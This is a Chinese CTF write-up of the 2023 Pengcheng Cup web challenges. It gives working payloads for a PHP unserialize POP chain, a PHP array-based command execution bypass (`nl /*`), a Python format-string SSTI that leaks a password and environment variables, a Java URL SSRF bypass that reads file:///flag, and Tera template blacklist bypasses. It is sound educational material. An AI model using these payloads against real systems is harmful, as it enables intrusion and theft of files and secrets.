pcb23复现

感谢ctf复现计划

web01: php pop链

  1. 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    <?php
    show_source(__FILE__);
    error_reporting(0);
    class Hacker{
    private $exp;
    private $cmd;

    public function __toString()
    {
    call_user_func('system', "cat /flag");
    }
    }

    class A
    {
    public $hacker;
    public function __toString()
    {
    echo $this->hacker->name;
    return "";
    }
    }
    class C
    {
    public $finish;
    public function __get($value)
    {
    $this->finish->hacker();
    echo 'nonono';
    }
    }
    class E
    {
    public $hacker;

    public function __invoke($parms1)
    {
    echo $parms1;
    $this->hacker->welcome();
    }
    }

    class H
    {
    public $username="admin";
    public function __destruct()
    {
    $this->welcome();

    }
    public function welcome()
    {
    echo "welcome~ ".$this->username;
    }
    }

    class K
    {
    public $func;
    public function __call($method,$args)
    {
    call_user_func($this->func,'welcome');
    }
    }

    class R
    {
    private $method;
    private $args;

    public function welcome()
    {
    if ($this->key === true && $this->finish1->name) {
    if ($this->finish->finish) {
    call_user_func_array($this->method,$this->args);
    }
    }
    }
    }

    function nonono($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
    return preg_replace($filter,'',$a);
    }

    $a = $_POST["pop"];
    if (isset($a)){
    unserialize(nonono($a));
    }
    ?>
  2. 一眼pop链,得加速了,等下应该开很多人

  3. 过滤系统函数,字符串变少,过滤直接`反引号绕过

  4. 调用链

    1. 直接H->Hacker不久可以读到/flag文件,感觉是假的flag,但是还是要试一试,居然是真flag,也是不会爆0了

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      // 实测可以调用到call_usr_function()
      <?php
      class H
      {
      public $username="admin";
      public function __destruct()
      {
      $this->welcome();

      }
      public function welcome()
      {
      echo "welcome~ ".$this->username;
      }
      }

      class Hacker{
      private $exp;
      private $cmd;

      public function __toString()
      {
      call_user_func('system', "cat /flag");
      }
      }

      $exp = new H();
      $exp -> username = new Hacker();
      echo serialize($exp),"<br>";

web02: php scandir 和 []

  1. 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    <?php
    highlight_file(__FILE__);
    error_reporting(0);

    if(isset($_GET['username'])){
    $sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
    mkdir($sandbox);
    chdir($sandbox);

    if(isset($_GET['title'])&&isset($_GET['data'])){
    $data = $_GET['data'];
    $title= $_GET['title'];
    if (strlen($data)>5||strlen($title)>3){
    die("no!no!no!");
    }
    file_put_contents($sandbox.$title,$data);

    if (strlen(file_get_contents($title)) <= 10) {
    system('php '.$sandbox.$title);
    }
    else{
    system('rm '.$sandbox.$title);
    die("no!no!no!");
    }

    }
    else if (isset($_GET['reset'])) {
    system('/bin/rm -rf ' . $sandbox);
    }
    }
    ?>
  2. ctrl+u源码,看到scandir()

  3. 同时给出提示backdoor_[a-f0-9]{16}\.php

  4. 我刚学的通配符用上了: scandir("glob://backdoor_[a-f0-9]*.php")

  5. 爆破出后门然后看看内容

  6. php代码执行,目测数组绕过,存到Array里

    1. file_put_contents()的时候数组转换是为空吗,但是这里有先字符串,所以还是Array文件
    2. file_get_contents()中数组并没有直接转成字符串,为空,判断符合,直接一套带走
  7. 如果这里strlen无法绕过,可以考虑竞争一下,感觉可行,因为文件名是同一个

  8. exp: wp中直接绕过?username=exp&title[]=123&data[]=<?=`nl+/*`;刚好10个字符

escape: python format ssti

逆天原题杯 Helpful: [https://imaginaryctf.org/ArchivedChallenges/39]

  1. /source源码路由

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    from sqlite3 import *

    from random import choice
    from hashlib import sha512

    from flask import Flask, request, Response
    from flask_limiter import Limiter
    from flask_limiter.util import get_remote_address

    app = Flask(__name__)
    limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["50000 per hour"],
    storage_uri="memory://", # 在内存中设置
    )

    salt = b'****************'


    class PassHash(str):
    def __str__(self):
    return sha512(salt + self.encode()).hexdigest()

    def __repr__(self):
    return sha512(salt + self.encode()).hexdigest()


    con = connect("users.db")
    cur = con.cursor()
    cur.execute("DROP TABLE IF EXISTS users")
    cur.execute("CREATE TABLE users(username, passhash)")
    passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
    cur.execute(
    "INSERT INTO users VALUES (?, ?)",
    ("admin", str(passhash))
    )
    con.commit()


    @app.route('/source')
    @limiter.limit("1/second")
    def source():
    return Response(open(__file__).read(), mimetype="text/plain")


    @app.route('/')
    @limiter.limit("3/second")
    def index():
    if 'username' not in request.args or 'password' not in request.args:
    return open("index.html").read()
    else:
    username = request.args["username"]
    new_pwd = PassHash(request.args["password"])
    con = connect("users.db")
    cur = con.cursor()
    res = cur.execute(
    "SELECT * from users WHERE username = ? AND passhash = ?",
    (username, str(new_pwd))
    )
    if res.fetchone():
    return open("secret.html").read()
    return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
    .format(user=username)
    .format(passhash=new_pwd)
    )


    if __name__ == "__main__":
    app.run('0.0.0.0', 10000)
  2. 参数化查询,无法sql注入

  3. 目的是要获取secret.html的内容,登录成功即可,无需注意admin,注意到__file__/index.html是可以读的,是否需要后续写入?

  4. 好像没有得注册,注意到admin的passhash在全局变量中

  5. 如果没有获取文件,则在passhash处ssti?(格式字符串漏洞)获取passhash这个变量,而且这里没有过滤 -> 思路对了,但是flask ssti不熟sad,看题解 –> 没有环境本地复现不了啊,本地python跑出来不一样啊,还是学思路就好

  6. 可以知道密码保存在全局的passhash对象中,利用字符串显示方法来获取

    1. PassHash 虽然继承了 str, 但是只重写了 __str____repr__ 两个方法, 实例化时传入的 password 明文其实还保存在对象里面,要通过其他方法获取对象

    2. format获取明文:username={passhash.__class__.__str__.__globals__[passhash]:>0}&password=2: :>0 表示左对齐, 会调用父类 str 的 __format__ 方法, 而不是 __str____repr__, 进而得到明文

    3. 爆破获取明文:username={passhash.__class__.__str__.__globals__[passhash][0]}&password=2

      1
      2
      3
      4
      5
      import requests
      url = "http://localhost:5000/?username={passhash.__class__.__str__.__globals__[passhash]"
      for i in range(20):
      req = requests.get(url+f"[{i}]"+"}&password=2")
      print(req.text)
  7. 登录后提示 flag 在环境变量里面

    1. ssti命令执行阶段
    2. payload: username={passhash.__str__.__globals__[app].__init__.__globals__[os].environ}&password=2
    3. payload2: {passhash.__class__.__repr__.__globals__[app].__init__.__globals__[os].environ}

HTTP: java ssrf

  1. dirsearch开扫,发现由api,swagger-ui泄露

    1
    2
    3
    [10:26:42] Starting:
    [10:27:37] 200 - 92B - /swagger-resources
    [10:27:41] 200 - 625B - /v2/api-docs
  2. 随后进入http://172.10.0.3:8080/swagger-ui/index.html
    pic

  3. http://x.x.xx.x/vps,发现user-agent中有java版本,猜测是通过URL类发起请求,尝试以下

    1. 使用ftp也能正常获取内容,但是使用file的时候被过滤了
  4. 调试对应java版本的URL类,发现可以利用绕过的点

    1. 最终payload: url:file:///flag%23a.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // 1. 可以提供url:作为开头,会直接跳过,不会过滤后面
    if (spec.regionMatches(true, start, "url:", 0, 4)) {
    start += 4;
    }

    // 2. 使用#后面的,可以使用#来绕过后缀检查,而且不会产生影响
    if (start < spec.length() && spec.charAt(start) == '#') {
    /* we're assuming this is a ref relative to the context URL.
    * This means protocols cannot start w/ '#', but we must parse
    * ref URL's like: "hello:there" w/ a ':' in them.
    */
    aRef=true;
    }

Tera: rust ssti

  1. 看wp说是信息题
  2. google找一下+文档,[https://keats.github.io/tera/docs/#built-ins]
  3. 这里说说绕过黑名单的手法吧
    1. 拼接绕过:{% set fla1 = get_env(name=fla) %}{% set fla1 = get_env(name=fla) %}
    2. 逆序绕过:"""{% set f='galf'|reverse %}{% set f1 = get_env(name=f)|reverse %}{% if f1 is starting_with('""" + flag + i + """') %}ok{% endif %}"""

simple_rpc: 信息题略

总结

  1. web02中一定要比较清楚几个判断逻辑,尤其在file_get_contents()这里和自动转换,最好实操一下,不要一意孤行,Array不会自动转为string,下列的转换是在.的作用下才
  2. http中有时找不到文章但是知道版本情况下可以考虑看看源码的利用点,对于过滤知道是黑名单还是正则(或者是白名单)很有用
  3. 有些题目没有搜到对应的内容并且确定不是熟悉的可能就是信息题,利用一般攻击思路+对应语法的构造方法即可,文档看起来也不麻烦,一小时可以看很熟练了
  4. 像simple_rpc这种由配置版本信息的可以查查历史漏洞

Ref

  1. 全场最细[https://zer0peach.github.io/2024/01/15/2023%E9%B9%8F%E5%9F%8E%E6%9D%AF-web/]
  2. [https://exp10it.io/2023/11/2023-%E9%B9%8F%E5%9F%8E%E6%9D%AF-web-writeup/]
  3. HTTP
    1. [https://zer0peach.github.io/2024/01/15/2023%E9%B9%8F%E5%9F%8E%E6%9D%AF-web/#HTTP]
    2. [https://www.yuque.com/dat0u/ctf/gupiindgyz7vodib#lxroJ]
    3. [https://forum.butian.net/share/2939]